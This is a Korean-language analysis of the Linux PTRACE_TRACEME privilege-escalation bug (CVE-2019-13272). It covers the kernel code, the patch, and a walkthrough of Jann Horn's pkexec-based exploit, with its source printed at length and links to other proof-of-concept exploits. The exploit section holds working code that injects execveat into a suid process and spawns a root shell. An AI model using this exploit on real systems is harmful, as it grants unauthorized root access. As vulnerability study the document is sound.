트레이스 관계를 설정하는 두 가지 방법이 있습니다:
  - 프로세스는 fork 함수를 호출하고, 그 자식 프로세스는 `PTRACE_TRACEME`(커널의 `ptrace_traceme` 함수)를 호출하여 tracee를 초기화합니다.
  - 프로세스는 `PTRACE_ATTACH` 또는 `PTRACE_SEIZE`(커널의 `ptrace_attach` 함수)를 호출하여 다른 프로세스를 추적하기 위한 tracer를 초기화합니다.

어떤 방법을 사용하든 결국 `ptrace_link` 함수가 호출되어 tracer와 tracee 사이의 트레이스 관계를 설정합니다.
- `ptrace_attach`의 경우 `ptrace_link`에 전달되는 두 매개변수는 'task'(tracee)와 'current'(tracer)입니다.
- `ptrace_traceme`의 경우 `ptrace_link`에 전달되는 두 매개변수는 'current'(tracee)와 'current->real_parent'(tracer)입니다.

여기서 우리는 위 두 방식에서 `ptrace_link` 함수를 호출할 때 tracer와 tracee에 전달되는 두 매개변수가 무엇인지 주의해야 합니다. 취약점은 `ptrace_link` 함수에 있기 때문입니다.``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi 
                                                                 // ptraced của process cha
        child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
        child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung 
                                                          // vào biến này vì lỗi nằm ở đây
}

실행 권한과 관련된 작업은 주로 `prepare_binprm` 함수에 있습니다.``` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process     
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

위 코드에 대한 다음 2줄의 코드를 살펴보겠습니다:
- 1522행: 프로세스의 현재 euid를 new euid에 할당하므로, 실행되는 대부분의 프로세스는 원래 권한으로 실행됩니다.
- 1552행: suid 비트가 설정된 경우, 실행 파일 소유자의 uid를 new uid에 할당합니다. 이는 setuid와 유사한 것으로 이해할 수 있습니다. new euid는 실행 파일 소유자의 uid가 되며, 소유자가 특권 사용자라면 여기서 권한 상승이 발생합니다.

그러나 여기서의 euid는 아직 최종 결과가 아닙니다. 보안 검사에 대해 더 알아보려면 `security_bprm_set_creds` 함수를 확인해야 합니다.

`security_bprm_set_creds` 함수는 [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules) 프레임워크를 호출합니다.

제가 분석한 커널 버전에는 'bprm_set_creds'의 보안 검사를 수행하는 LSM 프레임워크 hook 지점이 최대 5개 있습니다. 검사 함수는 다음과 같습니다:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds

위와 같이, 
  - 845행은 euid가 원래 uid와 일치하는지 확인합니다 (위의 `bprm_fill_uid` 함수 분석에서, 실행되는 파일에 setuid 비트가 설정되어 있으면 euid는 일반적으로 일치하지 않습니다) ==> 여기서는 실행 중인 프로세스가 setid 프로그램인지 감지하는 것과 동일하다고 이해할 수도 있습니다.
  - 847행은 프로세스가 tracee인지 확인합니다.

위의 두 조건이 충족되면 권한을 확인하기 위해 `ptracer_capable` 함수를 실행해야 합니다. 검사가 통과되지 않으면 권한을 낮추는 작업이 수행됩니다.
  - 851행에서는 '*new->euid*'의 값을 '*new->uid*'로 변경합니다. 즉, `bprm_fill_uid` 함수에서 얻은 권한(cred)이 여기서 낮아질 수 있습니다.``` c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
    

위의 취약점이 있는 코드 부분으로 돌아가서, trace link를 설정할 때 traceme가 부모의 cred를 기록하는 것이 왜 wrong일까? 분명히 이때 부모는 tracer인데?

Jann Horn의 예를 사용하여, 이러한 방식으로 trace link를 설정할 때 traceme가 tracer의 cred를 사용할 수 없는 이유를 설명해 보자.``` py
 - 1,  task A: fork()s a child, task B
 - 2,  task B: fork()s a child, task C
 - 3,  task B: execve(/some/special/suid/binary)
 - 4,  task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5,  task C: execve(/usr/bin/passwd)
 - 6,  task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7,  task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8,  task A: PTRACE_ATTACH to task B
 - 9,  task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C

위의 코드에서와 같이, task B와 task C가 이 시점에 이미 trace links를 가지고 있기 때문에, ptrace 요청은 B를 통해 C로 직접 전송될 수 있으며, 이를 통해 `arch_ptrace` 함수가 호출됩니다.``` c
arch/x86/kernel/ptrace.c

arch_ptrace 
    -> ptrace_request 
        -> generic_ptrace_peekdata
           generic_ptrace_pokedata 
            -> ptrace_access_vm 
                -> ptracer_capable 
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885                    unsigned long addr, unsigned long data)
886 {
887         bool seized = child->ptrace & PT_SEIZED;
888         int ret = -EIO;
889         siginfo_t siginfo, *si;
890         void __user *datavp = (void __user *) data;
891         unsigned long __user *datalp = datavp;
892         unsigned long flags;
893 
894         switch (request) {
895         case PTRACE_PEEKTEXT:
896         case PTRACE_PEEKDATA:
897                 return generic_ptrace_peekdata(child, addr, data);
898         case PTRACE_POKETEXT:
899         case PTRACE_POKEDATA:
900                 return generic_ptrace_pokedata(child, addr, data);
901 
=================== skip ================
1105 }



1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157                             unsigned long data)
1158 {
1159         unsigned long tmp;
1160         int copied;
1161 
1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163         if (copied != sizeof(tmp))
1164                 return -EIO;
1165         return put_user(tmp, (unsigned long __user *)data);
1166 }
1167 
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169                             unsigned long data)
1170 {
1171         int copied;
1172 
1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174                         FOLL_FORCE | FOLL_WRITE);
1175         return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

위 코드를 보면, 함수 `ptrace_access_vm`는 우리가 앞서 분석한 `ptracer_capable` 함수를 호출하여 해당 요청이 수행될 수 있는지 여부를 판단한다는 것을 알 수 있다.

앞선 분석 결과에 따르면, 이 시점에 task C에 저장된 '*ptracer_cred*'는 권한이 있는 cred이므로, 이 시점에 `ptracer_capable`은 통과하게 된다. 즉, 위의 질문에 대한 답이 나온 셈이다. 이 경우, 일반 권한을 가진 task B는 ptrace를 사용하여 root 권한을 가진 task C의 메모리 영역과 코드 영역에 읽기/쓰기 요청을 보낼 수 있다.

이때, '*ptracer_cred*'의 권한은 task C에 의해 두 가지 경우에 적용된다:
- Task C가 `execve(suid binary)`를 수행하여 권한을 상승시키는 경우
- 일반 권한을 가진 task B가 ptrace를 실행하여 task C의 코드 영역과 메모리 영역을 읽고 쓸 수 있으며, 이를 통해 task C를 제어하여 임의의 작업을 수행하게 하는 경우

위 두 가지 역할의 조합이 완전한 권한 상승 작업인가?

위 질문에 답하기 전에, 이 취약점이 어떻게 악용되었고 어떻게 패치되었는지 살펴보자.

# PTRACE_TRACEME 취약점 패치 개요``` 
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

다시 패치를 살펴보겠습니다. '*\_\_task_cred(new_parent)*'이(가) '*current_cred()*'(으)로 대체되었습니다.

이 패치는 PTRACE_TRACEME가 실행될 때 '*ptracer_cred*'가 부모 프로세스의 자격 증명(cred)을 사용하지 않고 자신의 자격 증명을 사용한다는 것을 보여줍니다.

# Exploit
이 취약점을 악용하는 핵심은 task B를 시작하기에 적합한 실행 프로그램을 찾는 것입니다. 이 실행 프로그램은 다음 조건을 충족해야 합니다.
- 일반 사용자가 호출할 수 있어야 함
- 실행 과정에서 root로 권한을 상승시키는 단계가 있어야 함
- root 권한을 획득한 후에는 권한을 다시 낮출 수 있어야 함.

(일시적으로 root로 승격하는 목적은 task C가 root의 ptracer_cred를 얻을 수 있도록 하기 위함이고, 권한을 낮추는 목적은 B가 일반적인 ptrace 권한을 가진 프로세스에 의해 attach될 수 있도록 하기 위함입니다))

다음은 악용을 위한 3가지 샘플 코드입니다.
- [Exploit by Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit by Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit by Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

[Jann Horn의 exploit](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)에서는 (데스크톱 버전의) 시스템에 기본으로 있는 [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) 프로그램이 task B를 시작하는 데 사용됩니다.

[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html)는 권한이 있는 사용자가 다른 사용자의 권한으로 다른 프로그램을 실행할 수 있게 해주며, polkit의 인증 프레임워크에서 사용됩니다. `--user` 파라미터를 사용하면 프로세스가 root로 권한을 상승시킨 후 지정된 사용자로 다시 낮출 수 있으므로 task B를 구성하는 데 사용할 수 있습니다. 또한 polkit 프레임워크를 통해 실행되는 추가 실행 프로그램을 찾아야 합니다(Jann Horn은 helper를 사용합니다). 이 프로그램들은 일반 사용자가 인증 없이 pkexec로 실행할 수 있어야 합니다(polkit을 통해 실행되는 많은 프로그램은 팝업 창을 통한 인증을 요구합니다). 실행 방법은 다음과 같습니다.``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary

먼저 186행을 보면, clone 함수 호출로 하위 프로세스(task B)를 생성하며, task B는 middle_main 함수를 실행합니다.``` c
64 static int middle_main(void *dummy) {
65   prctl(PR_SET_PDEATHSIG, SIGKILL);
66   pid_t middle = getpid();
67 
68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69 
70   pid_t child = SAFE(fork());
71   if (child == 0) {
72     prctl(PR_SET_PDEATHSIG, SIGKILL);
73 
74     SAFE(dup2(self_fd, 42));
75 
76     /* spin until our parent becomes privileged (have to be fast here) */
77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78     char *needle = tprintf("nUid:t%dt0t", getuid());
79     while (1) {
80       char buf[1000];
81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82       buf[buflen] = '';
83       if (strstr(buf, needle)) break;
84     }
85 
86     /*
87      * this is where the bug is triggered.
88      * while our parent is in the middle of pkexec, we force it to become our
89      * tracer, with pkexec's creds as ptracer_cred.
90      */
91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92 
93     /*
94      * now we execute passwd. because the ptrace relationship is considered to
95      * be privileged, this is a proper suid execution despite the attached
96      * tracer, not a degraded one.
97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
98      */
99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

다음으로, task A의 main 함수로 돌아가서 194~202행에서 task A는 task B의 comm 파일이 이미 helper가 되었는지 확인한다. 만약 그렇다면 213행을 실행하여 force_exec_and_wait 함수를 수행한다.``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

middle_stage2 함수는 또한 force_exec_and_wait를 호출하여 task B가 ptrace를 사용해 task C가 execveat 함수를 실행하도록 제어하게 하며, task C의 이미지를 exploit의 바이너리 파일로 교체하고 매개변수는 stage3이다.``` c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

spawn_shell 함수에서 먼저 setresgid/setresuid를 사용하여 프로세스의 real uid/effective uid/save uid를 root로 변경한다. task C가 방금 suid 바이너리를 실행하고 자신의 euid를 root로 변경했기 때문에, 여기서 setresuid/setresgid는 성공적으로 실행될 수 있다. 이때 task C는 완전한 root 프로세스가 되었다. 마지막으로 execlp를 실행하여 셸을 열며, 이 셸은 root의 모든 권한을 가지게 된다.``` go
       	     forks               forks
+------proc_A -----------> proc_B ------------> proc_C
|       |                   |                    |
|     Wait B                |                    |
|     And attach            |                    |
|     Execve stage 2 in B   |                    |
+-------+-------------------+--------------------+
stage 1 |                 pkexec              get privileged tracer
|       |                   |                    |
|       |                   |                    |
|       |                 Unprivileged        exec SUID binary,
|       |                 Traced by A         become privileged, SIGTRAPed
+-------+-------------------+--------------------+
|       |                   |                    |
stage 2 |                 Wait C,                |
|       |                 Execve stage3 in C     |
|       |                   |                    |
+-------+-------------------+--------------------+
|       |                   |                    |
|       |                   |                    |
stage 3 |                   |                 setresuid to 0, 0, 0
|       |                   |                    |
|       |                   |                 exeve bash as root :)
+-------+-------------------+--------------------+